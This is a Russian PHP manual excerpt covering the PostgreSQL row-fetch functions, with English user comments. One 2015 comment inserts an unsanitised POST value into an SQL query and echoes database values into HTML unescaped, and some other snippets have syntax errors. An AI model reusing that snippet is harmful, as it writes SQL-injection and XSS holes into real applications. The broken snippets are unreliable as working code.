Необязательный параметр, управляющий тем, как индексируется возвращаемый массив (array). Параметр mode является константой и может принимать следующие значения: PGSQL_ASSOC, PGSQL_NUM и PGSQL_BOTH. При использовании PGSQL_NUM функция возвращает массив с числовыми индексами, при использовании PGSQL_ASSOC она вернёт только ассоциативные индексы, а PGSQL_BOTH вернёт как числовые, так и ассоциативные индексы.

Возвращаемые значения

Многомерный массив данных результата запроса. Каждая строка результата представляется массивом значений полей, индексированным именами этих полей.

Список изменений

Версия | Описание
8.1.0 | Параметр result теперь ожидает экземпляр PgSql\Result; ранее ожидался ресурс (resource).
8.0.0 | Функция pg_fetch_all() теперь возвращает пустой массив (array) вместо значения false для наборов результатов без строк.
7.1.0 | Добавлен параметр mode.

Примеры

Пример #1 Пример использования

<?php
$conn = pg_pconnect("dbname=publisher");
if (!$conn) {
echo "Произошла ошибка.\n";
exit;
}

$result = pg_query($conn, "SELECT * FROM authors");
if (!$result) {
echo "Произошла ошибка.\n";
exit;
}

$arr = pg_fetch_all($result);

print_r($arr);

?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [0] => Array
        (
            [id] => 1
            [name] => Fred
        )

    [1] => Array
        (
            [id] => 2
            [name] => Bob
        )

)

Смотрите также

  • pg_fetch_row() - Выбирает строку результата запроса и помещает данные в массив
  • pg_fetch_array() - Возвращает строку результата в виде массива
  • pg_fetch_object() - Выбирает строку результата запроса и возвращает данные в виде объекта
  • pg_fetch_result() - Возвращает запись из результата запроса

User Contributed Notes

ilhan at ilhan dot name 02-Aug-2016 08:25
PG functions retrieve data as strings. If you want automatic casting you need to use PDO.
humbertoibanez at gmail dot com 26-Oct-2015 03:35
If you configure in your pg_hba.conf file a connection by the md5 method and you didn't setup a password for that user, you must define a password by the "alter role" PostgreSQL command:

alter role user_name encrypted password 'user_password';

Also, if you is connecting by type TCP/IP (host) and your IP address is another than (localhost), as example (127.0.1.1) you must uncomment the following line at postgresql.conf file, adding your IP address:

listen_addresses = 'localhost,127.0.1.1'

After save the new configuration, you must restart your PostgreSQL service.
strata_ranger at hotmail dot com 11-Jun-2009 08:00
Be aware that pg_fetch_all() is subject to the same limitations as pg_fetch_assoc(), in that if your query returns multiple columns with the same name (or alias) then only the rightmost one will be returned in the associative array, other ones will not.

A simple example:
<?php
$res = pg_query(
"SELECT a.*, b.* -- Fetch all columns from both tables
FROM table1 AS a

LEFT OUTER JOIN table2 as b
USING (column)"
);

$rows = pg_fetch_all($res);
?>

In this example, since we're selecting columns via *, if any columns from table2 share the same names as those in table1, they will be the ones returned despite that table2 (as the optional side of an outer join) may return NULL values.

This is not a bug, just a limitation of associative arrays in general, and is easy enough to avoid by structuring your queries carefully and using column aliases to avoid confusion.
prefer_not_to at say dot com 02-Jun-2009 10:09
For those wondering, this function returns a two-dimentional array, the first dimension being a 0-based indexed array, the second dimension an associative.  So you might access the first authors surname using $authors[0]["surname"].

Certainly this is the case in PHP 5.2.9, I can't vouch for other versions though.
viniciusweb at gmail dot com 20-Mar-2005 06:20
This function returns NULL if the parameter is false.
09-Jun-2003 05:36
Also for those who are trying to move off oracle, pg_fetch_all returns an array with rows and columns inverted in the sense of ocifetchall. You would need to transpose this result array before your code takes the first index a column name and the second index a row index.
php dot net at mechintosh dot com 16-May-2003 11:42
For versions of PHP that don't yet support the new names or newer functions I wrote a couple functions like this one

if (! function_exists("pg_fetch_all")) {
  function pg_fetch_all($res, $kind="assoc") {
    $i = 0; // this is needed for the row integer in the looped pg_fetch_array
    if ($kind == "assoc") {
      while ($row = pg_fetch_array($res, $i, PGSQL_ASSOC)) {
        $array_out[] = $row;
        $i++;
    }else{
      while ($row = pg_fetch_array($res)) {
        $array_out[] = $row;
      }
    }
    return $array_out;
  }
}
tasmanian at devil dot com 27-Mar-2003 10:42
It seems like pg_fetch_all() only works on version 4.3.x. I tried it with 4.2.2 and it does not recognize the function, so I assume it won't work on 4 => 4.2.x.
jcomeau at whatisthewww dot com 19-Feb-2003 12:02
pg_fetch_all, despite the app note, accepts only one argument, the resultset. It does exactly what is expected, returning a two-dimensional array of the resultset. I suspect the app note given was just copied from pg_fetch_array, which is what you want to use for a single row.


Возвращает строку результата в виде массива

  • « pg_fetch_all
  • pg_fetch_assoc »
  • PHP Manual
  • Функции PostgreSQL
  • Возвращает строку результата в виде массива

pg_fetch_array

(PHP 4, PHP 5, PHP 7, PHP 8)

pg_fetch_array — Возвращает строку результата в виде массива

Описание

pg_fetch_array(PgSql\Result $result, ?int $row = null, int $mode = PGSQL_BOTH): array|false

pg_fetch_array() возвращает массив, соответствующий выбранной строке (записи).

pg_fetch_array() расширенная версия функции pg_fetch_row(). Эта функция способна сохранить данные не только с цифровыми индексами, но и с ассоциативными (имя поля). По умолчанию хранит и те и другие.

Замечание: Эта функция устанавливает NULL-поля в значение null PHP.

pg_fetch_array() выполняется незначительно медленнее чем pg_fetch_row(), но значительно проще в использовании.

Список параметров

result

Экземпляр PgSql\Result, возвращаемый функциями pg_query(), pg_query_params() или pg_execute() (среди прочего).

row

Номер строки в result для выборки. Строки пронумерованы с 0 по возрастанию. Если параметр опущен или передан null будет выбрана следующая строка.

mode

Необязательный параметр, управляющий тем, как индексируется возвращаемый массив (array). Параметр mode является константой и может принимать следующие значения: PGSQL_ASSOC, PGSQL_NUM и PGSQL_BOTH. При использовании PGSQL_NUM функция возвращает массив с числовыми индексами, при использовании PGSQL_ASSOC она вернёт только ассоциативные индексы, а PGSQL_BOTH вернёт как числовые, так и ассоциативные индексы.

Возвращаемые значения

Массив (array) с числовыми индексами (начиная с 0), либо ассоциативными (по имени поля), либо с обеими типами индексов. Каждое значение в массиве (array) представлено как строка (string). Значение NULL возвращается как null.

Функция возвращает false, если row выходит за рамки количества строк в выборке, или отсутствия строк, или в случае любой другой ошибки. Выборка из результата запроса, отличного от SELECT, также вернёт false.

Список изменений

Версия | Описание
8.1.0 | Параметр result теперь ожидает экземпляр PgSql\Result; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования pg_fetch_array()

<?php

$conn = pg_pconnect("dbname=publisher");
if (!$conn) {
echo "Произошла ошибка.\n";
exit;
}

$result = pg_query($conn, "SELECT author, email FROM authors");
if (!$result) {
echo "Произошла ошибка.\n";
exit;
}

$arr = pg_fetch_array($result, 0, PGSQL_NUM);
echo $arr[0] . " <- Row 1 Author\n";
echo $arr[1] . " <- Row 1 E-mail\n";

// Параметр row необязателен,
// для передечи result_type вместо row можно передать NULL.
// Успешные вызовы pg_fetch_array вернут следующий ряд.

$arr = pg_fetch_array($result, NULL, PGSQL_ASSOC);
echo $arr["author"] . " <- Row 2 Author\n";
echo $arr["email"] . " <- Row 2 E-mail\n";

$arr = pg_fetch_array($result);
echo $arr["author"] . " <- Row 3 Author\n";
echo $arr[1] . " <- Row 3 E-mail\n";

?>

Смотрите также

  • pg_fetch_row() - Выбирает строку результата запроса и помещает данные в массив
  • pg_fetch_object() - Выбирает строку результата запроса и возвращает данные в виде объекта
  • pg_fetch_result() - Возвращает запись из результата запроса

User Contributed Notes

strata_ranger at hotmail dot com 23-Aug-2009 01:53
Note that when using PGSQL_BOTH, numerically and associatively indexed fields are separate variables and treated as such:

<?php
$res = pg_query("Select 'foo' as bar");

$data = pg_fetch_array($res, 0, PGSQL_BOTH);

var_dump($data);
// Array(2)
// {
//   [0] => string(3) "foo"
//   ["bar"] => string(3) "foo"
// }

// This won't affect $data['bar']
$data[0] = 'bar';

var_dump($data);
// Array(2)
// {
//   [0] => string(3) "bar"
//   ["bar"] => string(3) "foo"
// }
?>

If you want to have reference binding between your numeric and associative indexes, you'll have to establish that yourself:

<?php

$result = pg_query("Select 'foo' as bar");

$data = pg_fetch_row($result);

// Establish references between column name/number
$from = $data;
foreach($from as $cx => $value)
{
    $key = pg_field_name($result, $cx);
    if (is_string($key)) $data[$key] =& $data[$cx];
}

var_dump($data);
// Array(2)
// {
//   [0] => &string(3) "foo"
//   ["bar"] => &string(3) "foo"
// }
// Note the reference binding between $data[0] and $data['bar']

$data[0] = 'baz';

var_dump($data);
// Array(2)
// {
//   [0] => &string(3) "baz"
//   ["bar"] => &string(3) "baz"
// }

?>
anonymous 13-May-2005 02:21
Hopefully most people realize this on their own, but the examples below where people tried to get creative with getting numerical or associative (not both) keys in the result are rather pointless. See the pg_fetch_assoc() and pg_fetch_row() for the built in functions that do this automatically. It's generally a better idea to use one of these other functions unless you *need* to access fields by both collumn name *and* index.
Dave O 22-Feb-2005 09:52
I found this out through help from the mailing lists.  If you need to reset the internal counter, use the pg_result_seek, similar to:

pg_result_seek($result, 0)

...plagiarized from the comment on the function's doc page.
devnull 02-Feb-2005 01:59
In response to eth0's comment below about SELECT'ing from two tables where the tables have columns with the same names, you can get around this problem like this:

"SELECT table1.foo AS foo1, table2.foo AS foo2 FROM table1, table2"

In the associative array returned, the keys will be "foo1" and "foo2".
enyo at www.red-link.com 14-Sep-2003 06:55
Just because it is not really clear how to specify the result type, I poste this message.

I wrote a wrapper function which looks like this:

<?php
    function db_fetch_array ($result, $row = NULL, $result_type = PGSQL_ASSOC)
    {
        $return = @pg_fetch_array ($result, $row, $result_type);
        return $return;
    }
?>

I think this way it is quite comfortable to get the arrays you want.
akm at e-nterart dot pl 17-Jun-2003 09:45
(Timesaver) Be aware of the fact that keys in array returned by this function are (well, at least as of 4.2.3) of the same case as SQL column names (e.g. if your column name is ID then key name is also ID, not id or Id), and the keys in associative array are CASE SENSITIVE!!! So don't be surprised if you get unexpected results. Double check SQL column names and the key names.
jesse at sokieserv dot dhs dot org 13-Dec-2001 04:38
As of PHP 4.1.0, you can now use code such as the following to iterate through a result set:

$conn = pg_connect("host=localhost dbname=whatever");
$result = pg_exec($conn, "select * from table");
while ($row = pg_fetch_array($result))
{
     echo "data: ".$row["data"];
}

Can be a nice little time saver, PHP with MySQL has supported this for a while but I'm glad to see it extended to PostgreSQL...
eth0 at fins 28-Sep-2001 11:15
Please remember that if you have for example a table Customers with "cust_ID", "name" and "address" and another table Users with "u_ID","name" and "other" and then you SELECT WHERE cust_ID=u_ID then you'll get in the result array ONLY ONE "name" field, precisely the last one resulted from the select!!!
elliot at nospam dot rightnowtech dot com 22-Jul-2001 09:50
Just remember when you 'or die' to close your table(s) or you may get a confused look from non-internet explorer users.
mkb at ele dot uri dot edu 27-Mar-2001 04:52
The column names if you use PGSQL_ASSOC or PGSQL_BOTH are always in lowercase, no matter what the name is in the database or in the query.
gherson at snet dot net 06-Mar-2001 10:30
In addition to returning "false if there are no more rows", pg_fetch_array will also trigger an E_WARNING.  You can temporarily turn that error reporting level off and suck out all your data like so:

<?php
$errRptLvl = error_reporting();
error_reporting($errRptLvl & ~(E_WARNING));

list($i,$j)=array(0,0);
while ($selection[$i++] = $this->fetchArray($j++)); // (fetchArray is a pg_fetch_array wrapper.)
error_reporting($errRptLvl); // Restore error reporting level.
unset($selection[$i-1]); // Delete the last, empty row.
return $selection;
?>
gherson at snet dot net 02-Jan-2001 09:14
PGSQL_BOTH is the default, meaning your array size will be doubled.
If you specify this field (result type), include no quotes around it or you won't get any data, not even an error.
Here's my wrapper function:
function SQL_fetch_array($result_ndx, $row, $result_type=PGSQL_ASSOC) {
   return pg_fetch_array($result_ndx, $row, $result_type);


Выбирает строку результата запроса и помещает данные в ассоциативный массив

  • « pg_fetch_array
  • pg_fetch_object »
  • PHP Manual
  • Функции PostgreSQL
  • Выбирает строку результата запроса и помещает данные в ассоциативный массив

pg_fetch_assoc

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

pg_fetch_assoc — Выбирает строку результата запроса и помещает данные в ассоциативный массив

Описание

pg_fetch_assoc(PgSql\Result $result, ?int $row = null): array|false

pg_fetch_assoc() возвращает ассоциативный массив, содержащий записи из строки результата запроса.

Результат выполнения pg_fetch_assoc() тот же, что и у pg_fetch_array() с параметром PGSQL_ASSOC. Функция возвращает только ассоциативный массив. Если нужен численно-индексированный массив, используйте функцию pg_fetch_row().

Замечание: Эта функция устанавливает NULL-поля в значение null PHP.

pg_fetch_assoc() не намного медленней и значительно проще в использовании, чем pg_fetch_row().

Список параметров

result

Экземпляр PgSql\Result, возвращаемый функциями pg_query(), pg_query_params() или pg_execute() (среди прочего).

row

Номер выбираемой из результата запроса строки. Нумерация начинается с нуля. Если аргумент опущен или равен null, берётся следующая по очереди строка.

Возвращаемые значения

Ассоциативный массив, индексированный именами полей выборки. Значения массива представляются в виде текстовых строк. Значения NULL базы данных преобразуются в PHP null.

false, если row превышает число строк в результате запроса, когда строк в результате не осталось, и при прочих ошибках.

Список изменений

Версия | Описание
8.1.0 | Параметр result теперь ожидает экземпляр PgSql\Result; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования pg_fetch_assoc()

<?php
$conn = pg_connect("dbname=publisher");
if (!$conn) {
echo "Произошла ошибка.\n";
exit;
}

$result = pg_query($conn, "SELECT id, author, email FROM authors");
if (!$result) {
echo "Произошла ошибка.\n";
exit;
}

while ($row = pg_fetch_assoc($result)) {
echo $row['id'];
echo $row['author'];
echo $row['email'];
}
?>

Смотрите также

  • pg_fetch_row() - Выбирает строку результата запроса и помещает данные в массив
  • pg_fetch_array() - Возвращает строку результата в виде массива
  • pg_fetch_object() - Выбирает строку результата запроса и возвращает данные в виде объекта
  • pg_fetch_result() - Возвращает запись из результата запроса

User Contributed Notes

artem.eroshin gmail com 17-Feb-2020 04:17
Converts 't' and 'f' to PHP Boolean

$result = pg_query($_db, $sql);

while ( $row = pg_fetch_assoc( $result ) )
{
    fixBooleans($result, $row);

    //some other code
}

function fixBooleans($result, &$row)
{

    for ($fld_i = 0; $fld_i < pg_num_fields($result); $fld_i++)
    {
        $fld_name = pg_field_name($result, $fld_i);

        if( pg_field_type($result, $fld_i) == 'bool' )
        {
            if( $row[ $fld_name ] == 't' )
            {
                $row[ $fld_name ] = true;
            }
            elseif($row[ $fld_name ] == 'f')
            {
                $row[ $fld_name ] = false;
            }
        }
    }

}
huntfalow at yahoo dot com 23-Apr-2015 08:46
<html>
<head>
<script>
function waarde(){
    var text = document.getElementById("optVakken").value;
    document.getElementById("txthidden").value = text;
    document.forms["hiddenform"].submit();
}
</script>
<?php
// keuzemenu met alle leerkrachten
function leerkrachten($aName){
    include("includes/connect.php");

}
// keuzemenu met alle vakken
function vakken($aID){
    include("includes/connect.php");
    $SelectVakkenQuery = "SELECT * FROM vakken";
    $SelectVakkenResult = $mysqli->query($SelectVakkenQuery);
    $Choice = "<select id='$aID' onchange=waarde()><option>Kies een vak</option>";

        while($rij2 = $SelectVakkenResult->fetch_assoc()){
        $VakID = $rij2['vakid'];
        $Vaknaam = $rij2['voluit'];
        $Choice .= "<option value='$VakID'>$Vaknaam</option>";
    }
    $Choice .= "</select>";
    return $Choice;
}
?>
<title>Remedieringsoefening</title>
</head>
<body>
<?php
include("includes/connect.php");
// aanmaken van keuzemenus

// eerste keuzemenu
echo vakken("optVakken")."<br><br>";

// tweede keuzemenu
if(!isset($_POST['txthidden'])){
$SelectLeerkrachtenQuery = "SELECT * FROM leerkrachten";
$SelectLeerkrachtResult = $mysqli->query($SelectLeerkrachtenQuery);

$Choice = "<select>";
while($rij=$SelectLeerkrachtResult->fetch_assoc()){
    $Voornaam = $rij['voornaam'];
    $Naam = $rij['naam'];
    $LKID = $rij['leerkrachtid'];
    $Volledig = $Voornaam . " " . $Naam;
    $Choice .= "<option value='$LKID'>$Volledig</option>";
}
$Choice .= "</select><br><br>";
echo $Choice;
}else{
    $vakid = $_POST['txthidden'];
    $SelectLeerkrachtenQuery = "SELECT * FROM leerkrachten JOIN leerkrachtpervak ON leerkrachten.leerkrachtid = leerkrachtpervak.leerkrachtid WHERE vakid = '$vakid'";
    $SelectLeerkrachtResult = $mysqli->query($SelectLeerkrachtenQuery);
    $Choice = "<select>";
    while($row3=$SelectLeerkrachtResult->fetch_assoc()){
        $Voornaam = $row3['voornaam'];
        $Naam = $row3['naam'];
        $Volledig = $Voornaam . " " . $Naam;
        $Choice .= "<option>$Volledig</option>";
    }
    $Choice .= "</select><br><br>";
    echo $Choice;
}
// onzichtbaar textbox voor JS
echo "<form method='post' id='hiddenform'><input type='hidden' name='txthidden' id='txthidden'></form>";
$mysqli->close();
?>
</body>
</html>
slurppp at hotmail dot fr 08-Jun-2012 02:37
Note that all pg_fetch_* function ignoring the original type of the data and always return strings. (for numbers too)
Alexey Loktionov (error at pochta dot ru) 10-Mar-2010 04:54
Here is much powerful pg_parse_array() variant, based on FSM: for any dimension Postgres arrays (its string representation must be well-formed), with quotation rules checks, complexity O(N), where N is a length of string representation of Postgres array:

<?php

define('STATE_BEGIN', 1);
define('STATE_INARRAY',2);
define('STATE_OUTARRAY', 3);
define('STATE_INSLASH', 4);
define('STATE_INQUOTES', 5);

function pg_parse_array($value) {
        $resultArray = $indexArray = array(); $level = $index = 0;
        $ptr = &$resultArray;
        for($i = 0; $i < strlen($value); $i++){
            switch($level){
                case 1:
                    if($index > 0){
                        $ptr = & $ptr[sizeof($ptr)];
                    }
                    $indexArray[++$index] = & $ptr;
                    break;
                case -1:
                    $ptr = & $indexArray[--$index];
                    break;
            }
            $level = processFSM($value{$i}, $ptr);
        }
        return $resultArray;
    }

    function processFSM($chr, &$result){
        static $state = STATE_BEGIN, $index = 0;
        $level = 0;
        switch(true){
            case $chr == '{' && in_array($state, array(STATE_BEGIN,STATE_INARRAY,STATE_OUTARRAY), true):
                $state = STATE_INARRAY;
                $index = 0;
                $level = +1;
                break;
            case $chr == '}' && in_array($state, array(STATE_INARRAY,STATE_OUTARRAY), true):
                $state = STATE_OUTARRAY;
                $level = -1;
                break;
            case $chr == '\\' && $state !== STATE_BEGIN:
                $state = $state === STATE_INSLASH ? STATE_INQUOTES : STATE_INSLASH;
                break;

            case $chr == '"' && !in_array($state, array(STATE_BEGIN,STATE_INSLASH), true):
                $state = $state === STATE_INQUOTES ? STATE_INARRAY : STATE_INQUOTES;
                break;

            case $chr == ',' && in_array($state, array(STATE_INARRAY,STATE_OUTARRAY), true):
                $index = sizeof($result);
                break;

            case $state !== STATE_BEGIN:
                $state = $state === STATE_INSLASH ? STATE_INQUOTES : $state;
                isset($result[$index]) or $result[$index] = '';
                $result[$index] .= $chr;
                break;
        }
        return $level;
    }

?>
Anonymous 16-Jan-2010 03:16
Be aware that if one of your result fields is an array, it will be output as a string using the general format of '{value1,value2, ... }' in accordance with postgres's behavior with SQL arrays.
http://www.postgresql.org/docs/8.4/static/arrays.html#ARRAYS-IO

So, here is a function to convert simple (one-dimensional) SQL arrays to PHP arrays:

<?php
function pg_parse_array($field)
/*
 * Converts a simple SQL array field to its PHP equivalent.  e.g:
 *
 *    {null}              --> Array(null);
 *    {"null"}            --> Array("null");
 *    {foo,bar}           --> Array("foo", "bar");
 *    {"foo,bar"}         --> Array("foo,bar");
 *    {"Hello \"World\""} --> Array('Hello "World"');
 *
 */
{
  // NULL fields are always NULL
  if (!is_string($field)) return $field;

  // Check for curly braces which may indicate an SQL array field
  if ($field[0] != '{' or substr($field, -1) != '}') return $field;
  $field = trim(substr($field, 1, -1));

  $array = Array();

  // Break up the string into the following:
  //  - quoted text that MAY have special chars escaped by a backslash
  //  - unquoted text that may NOT have special chars
  $search = '/(")?+((?(1)(?:\\\\.|[^"])*|[^,]+))(?(1)\\1)/';
  preg_match_all($search, $field, $matches, PREG_SET_ORDER);

  foreach($matches as $value)
  {
    if ($value[1])
    {
      // Quoted element, with backslash used to escape chars
      $array[] = preg_replace('#\\\\(.)#', '$1', $value[2]);
    }
    else
    {
      // Unquoted element
      $value[2] = trim($value[2]);
      if (strtolower($value[2]) == 'null') $array[] = null; // NULL
      else $array[] = $value[2];
    }
  }
  return $array;
}

// Some tests to demonstrate this function
var_export(pg_parse_array('{null}'); // Output is Array(null);
var_export(pg_parse_array('{foo,bar}'); // Output is Array('foo', 'bar');
var_export(pg_parse_array('{"null"}'); // Output is Array('null');

?>
Anonymous 19-May-2009 08:24
Beware!  If your query returns multiple columns with the same names, only the right-most one will be contained in the result array.  This can cause problems if you are using a combination of joins:

For example:
<?php
// Let's say that 'pkey' is the primary-key colum for tables a and b (primary keys are never null)
$res = pg_query("Select a.pkey, b.* FROM a LEFT JOIN b using (pkey)");
$data = pg_fetch_assoc($res);
var_dump($data['pkey']) // Is actually b.pkey, may be NULL!
?>

Both tables contain a column named 'pkey'.  Now table 'b' is on the optional side of a LEFT JOIN, so b.pkey (implicitly included via 'b.*') may be NULL.

The problem arises when you use pg_fetch_assoc(), there are two columns named 'pkey' but the result array can only contain one value per key -- in this case it will pick the one from table B instead of the one from table A, and since B is on the optional side of the left-join, $data['pkey'] may be NULL.  So if you're expecting to retrieve the column from table A, you need to use a different pg_fetch() or rewrite your query to avoid ambiguity.
Anonymous 13-Oct-2008 05:18
bytea columns are returned escaped.
you need to call pg-unescape-bytea() on them to get the original binary back.
Anonymous 13-Oct-2008 04:03
regarding the optional int parameter

requesting a row number that is not present in the result set is an error. don't do it.

check with pg_num_rows() beforehand, or  just use the default behavior which returns the rows in order and false after returning the last row it returns false immediately if no rows were returned.
strata_ranger at hotmail dot com 26-Aug-2008 03:01
In a bit of follow-up to Luke's note about SQL booleans (this was a painful thing to learn the hard way), a relatively easy workaround is to typecase the boolean columns to integer inside the query, e.g:

<?php
// Assuming 'foo' is a table column of type boolean
$res = pg_query("Select foo as foo1, foo::integer as foo2 from bar");

$data = pg_fetch_assoc($res);
if ($data['foo1']) echo 'foo1 = TRUE'; // Doesn't work as expected (string 't' and string 'f' both evaluate as TRUE)
if ($data['foo2']) echo 'foo2 = TRUE'; // Works as expected (string '0' evaluates as FALSE)
?>
javier dot vilarroig at gmail dot com 02-Oct-2007 09:57
Is worth to know that when you query on multiple tables only the first row with each name is returned.

That is, if you are joining to tables with a column called 'name' you will receive only one field called name in the array and it will correspond to the one on the first table.

Is advisable to allways allias your columns in that stuation.
johniskew 01-Mar-2007 09:28
Here is another way to iterate a resultset and display all columns in very little code... might be faster than a foreach

<?php

print '<table>';
while($row=pg_fetch_assoc($rs2)) print '<tr><td>'.join('</td><td>',$row2).'</td></tr>';
print '</table>';

?>
24-May-2006 12:59
If you request a row that does not exist, it just fails, rather than simply returning false.
Luke 22-Sep-2005 06:34
Note:

PostgreSQL boolean values set to TRUE are returned as the string "t"

PostgreSQL boolean values set to FALSE are returned as the string "f"
petrus at bmail dot com dot au 24-Feb-2005 07:22
$dbconn3 = pg_connect("host=127.0.0.1 port=5432 dbname=blah user=blah password=blah");
$result = pg_query($dbconn3, "SELECT * FROM Packages");

 echo "<HTML><HEAD><TITLE>PostgreSQL Test Page</TITLE></HEAD><BODY>";
 echo "<TABLE>";

$pkg = pg_fetch_assoc($result);
foreach ($pkg as $value) {
    echo "<TR><TD>$value";
    echo "</TR></TD>";
 }

echo "</TABLE><P>";
echo "This package's full filename is: {$pkg['name']}-{$pkg['version']}{$pkg['extension']}";
echo "</BODY></HTML>";

For generating tables, this works, and personally I prefer foreach() to while loops because there's no danger of accidentally causing an infinite loop...foreach only works for as long as it has something to work with, and then stops.  I thought the echo down the bottom might come in handy, too...took me a bit to find that out.
spam at pasher dot org 24-Oct-2003 06:35
An important thing to note (as of PHP 4.3.2):

If you are used to using the "extended" comparision operators (=== and !==) to try to make your code easier to follow visually, this function will return NULL if the provided resource handle is invalid (as opposed to false). ie,

$rs = @pg_query('SELECT * FROM fake_table');
while (false !== ($row = @pg_fetch_assoc($rs)))
{
    print_r($row);
}

Obviously you should check to see if $rs === false before you start the while loop, but this example is used to illustrate a potential infinite loop problem if $rs IS false.
ninja (whorl) thinkninja (stop) com 21-Jun-2003 08:29
If you are moving between different versions of PHP, this might be handy:

if (!function_exists('pg_fetch_assoc')) {
    function pg_fetch_assoc ($result)
    {
      return @pg_fetch_array($result, NULL, PGSQL_ASSOC);
    }
}
Brenton Strickler 06-Jan-2003 05:53
At a glance, the syntax listed at the top of this page doesn't match the example.  The PGSQL_ASSOC flag isn't necessary.


Выбирает строку результата запроса и возвращает данные в виде объекта

  • « pg_fetch_assoc
  • pg_fetch_result »
  • PHP Manual
  • Функции PostgreSQL
  • Выбирает строку результата запроса и возвращает данные в виде объекта

pg_fetch_object

(PHP 4, PHP 5, PHP 7, PHP 8)

pg_fetch_object — Выбирает строку результата запроса и возвращает данные в виде объекта

Описание

pg_fetch_object(
PgSql\Result $result,
?int $row = null,
string $class = "stdClass",
array $constructor_args = []
): object|false

pg_fetch_object() возвращает объект, свойства которого соответствуют именам полей выборки. Также функция может создать экземпляр конкретного класса и передать параметры его конструктору.

Замечание: Эта функция устанавливает NULL-поля в значение null PHP.

По скорости функция идентична pg_fetch_array() и немного медленней pg_fetch_row() (разница незначительна).

Список параметров

result

Экземпляр PgSql\Result, возвращаемый функциями pg_query(), pg_query_params() или pg_execute() (среди прочего).

row

Номер выбираемой из результата запроса строки. Нумерация начинается с нуля. Если аргумент опущен или равен null, берётся следующая по очереди строка.

class

Имя класса создаваемого и возвращаемого объекта. Если не задано, функция создаст экземпляр класса stdClass.

constructor_args

Необязательный аргумент. Массив (array) параметров для передачи в конструктор создаваемого объекта (class).

Возвращаемые значения

Объект (object), имена и значения свойств которого соответствуют именам и значениям полей результата запроса. Значения NULL базы данных преобразуются в PHP null.

false, когда row превышает число строк в результате запроса, когда строк в результате не осталось, и при прочих ошибках.

Список изменений

Версия | Описание
8.1.0 | Параметр result теперь ожидает экземпляр PgSql\Result; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования pg_fetch_object()

<?php

$database = "store";

$db_conn = pg_connect("host=localhost port=5432 dbname=$database");
if (!$db_conn) {
echo "Невозможно соединиться с базой postgres $database\n";
exit;
}

$qu = pg_query($db_conn, "SELECT * FROM books ORDER BY author");

while ($data = pg_fetch_object($qu)) {
echo $data->author . " (";
echo $data->year . "): ";
echo $data->title . "<br />";
}

pg_free_result($qu);
pg_close($db_conn);

?>

Смотрите также

  • pg_query() - Выполняет запрос
  • pg_fetch_array() - Возвращает строку результата в виде массива
  • pg_fetch_assoc() - Выбирает строку результата запроса и помещает данные в ассоциативный массив
  • pg_fetch_row() - Выбирает строку результата запроса и помещает данные в массив
  • pg_fetch_result() - Возвращает запись из результата запроса

User Contributed Notes

qeremy [atta] gmail [dotta] com 27-Jul-2012 12:20
Getting db results as object.

<?php
$qry = pg_query("SELECT * FROM users");

$rows = array();
while ($fch = pg_fetch_object($qry)) {
   $rows[] = $fch;
}

// or

$rows = array_map(function($a){
   return (object) $a;
}, (array) pg_fetch_all($qry));
?>
ekevu at yahoo dot com 02-Jul-2007 07:36
PostgreSQL boolean true becomes string "t"
PostgreSQL boolean false becomes string "f"
This is ambiguous, and leads to code duplication. I wonder why aren't the types correctly typed when fetching values. We could at least have an optional parameter to enable that.
robeddielee at hotmail dot com 27-Jan-2006 11:38
I noticed that many people use FOR loops to extract query data. This is the method I use to extract data.

<?php
 @$members = pg_query($db_conn, 'SELECT id,name FROM boards.members ORDER BY name;');
 if ($members AND pg_num_rows($members)) {
  while ($member = pg_fetch_object($members)) {
   echo $member->name.' ('.$member->id.')';
  }
 }
?>

If an error occurs (or nothing is returned) in the above code nothing will output. An ELSE clause can be added to the IF to handle query errors (or nothing being returned). Or a seperate check can be performed for the event that nothing is returned by using an ELSEIF clause.

I like this method because it doesn't use any temporary counter variables.
oracle dot shinoda at gmail dot com 15-Nov-2004 06:13
If you're wanting to use objects for your results, but are put off because you can't seem to apply a function to each field of the result (like stripslashes for example), try this code:

<?php
// Code to connect, do query etc etc...

$row = pg_fetch_object($result);
$vars = get_object_vars($row);
foreach ( $vars as $key => $var )
{
    $row->{$key} = stripslashes($var);
}

?>
michiel at minas-2 dot demon dot nl 16-Jun-2004 08:13
Something I have learned to use:

$result=$pg_query (...);
$num = pg_numrows($result);

for($count=0;$count < $num && $data=pg_fetch_object($result,$count);$count++)
{
    printf("<tr>\n");
    printf("    <td>%s</td>\n",$data->foo);
    printf("    <td>%s</td>\n",$data->bar);
    printf("</tr>\n");
}
Lars at dybdahl dot dk 14-Oct-2003 08:43
When you retrieve the contents of a "timestamp with timezone" field, this will set the environment's timezone variables. Therefore, this is dangerous:

$s=$row->mydatefield;
$unixtimestamp=postgresqltimestamp2unix($s);
echo date("Y-m-d H:i:s",$unixtimestamp);

Here, postgresqltimestamp2unix is a function that converts the postgresql timestamp to Unix. The retrieval of the field data in the first line of the example above will influence the timezone used in date() in the third line.
ian at eiloart dot com 09-Feb-2003 07:27
This isn't all that useful. If you do, for example, foreach($row as $field) then you still get every value twice!

You can do something like this, though:

foreach ($line as $key => $cell){
     if (! is_numeric($key)){
                echo "<td>$key $cell</td>";
     }
}

is is_numeric strict enough?
inbox at bucksvsbytes dot com 16-Mar-2002 09:13
The result_type arg is either invalid or incorrectly documented, since the "result_type is optional..." paragraph is copied verbatim from pg_fetch_array, and the PGSQL_NUM option is in conflict with the preceding paragraph's, "you can only access the data by the field names, and not by their
offsets."


Возвращает запись из результата запроса

  • « pg_fetch_object
  • pg_fetch_row »
  • PHP Manual
  • Функции PostgreSQL
  • Возвращает запись из результата запроса

pg_fetch_result

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_fetch_result — Возвращает запись из результата запроса

Описание

pg_fetch_result(PgSql\Result $result, int $row, mixed $field): string|false|null
pg_fetch_result(PgSql\Result $result, mixed $field): string|false|null

pg_fetch_result() возвращает значение ячейки таблицы экземпляра PgSql\Result.

Замечание:

Прежнее наименование функции: pg_result().

Список параметров

result

Экземпляр PgSql\Result, возвращаемый функциями pg_query(), pg_query_params() или pg_execute() (среди прочего).

row

Номер выбираемой из результата запроса строки. Нумерация начинается с нуля. Если аргумент опущен, берётся следующая по очереди строка.

field

Имя или номер поля выбираемого значения. Поля нумеруются с нуля.

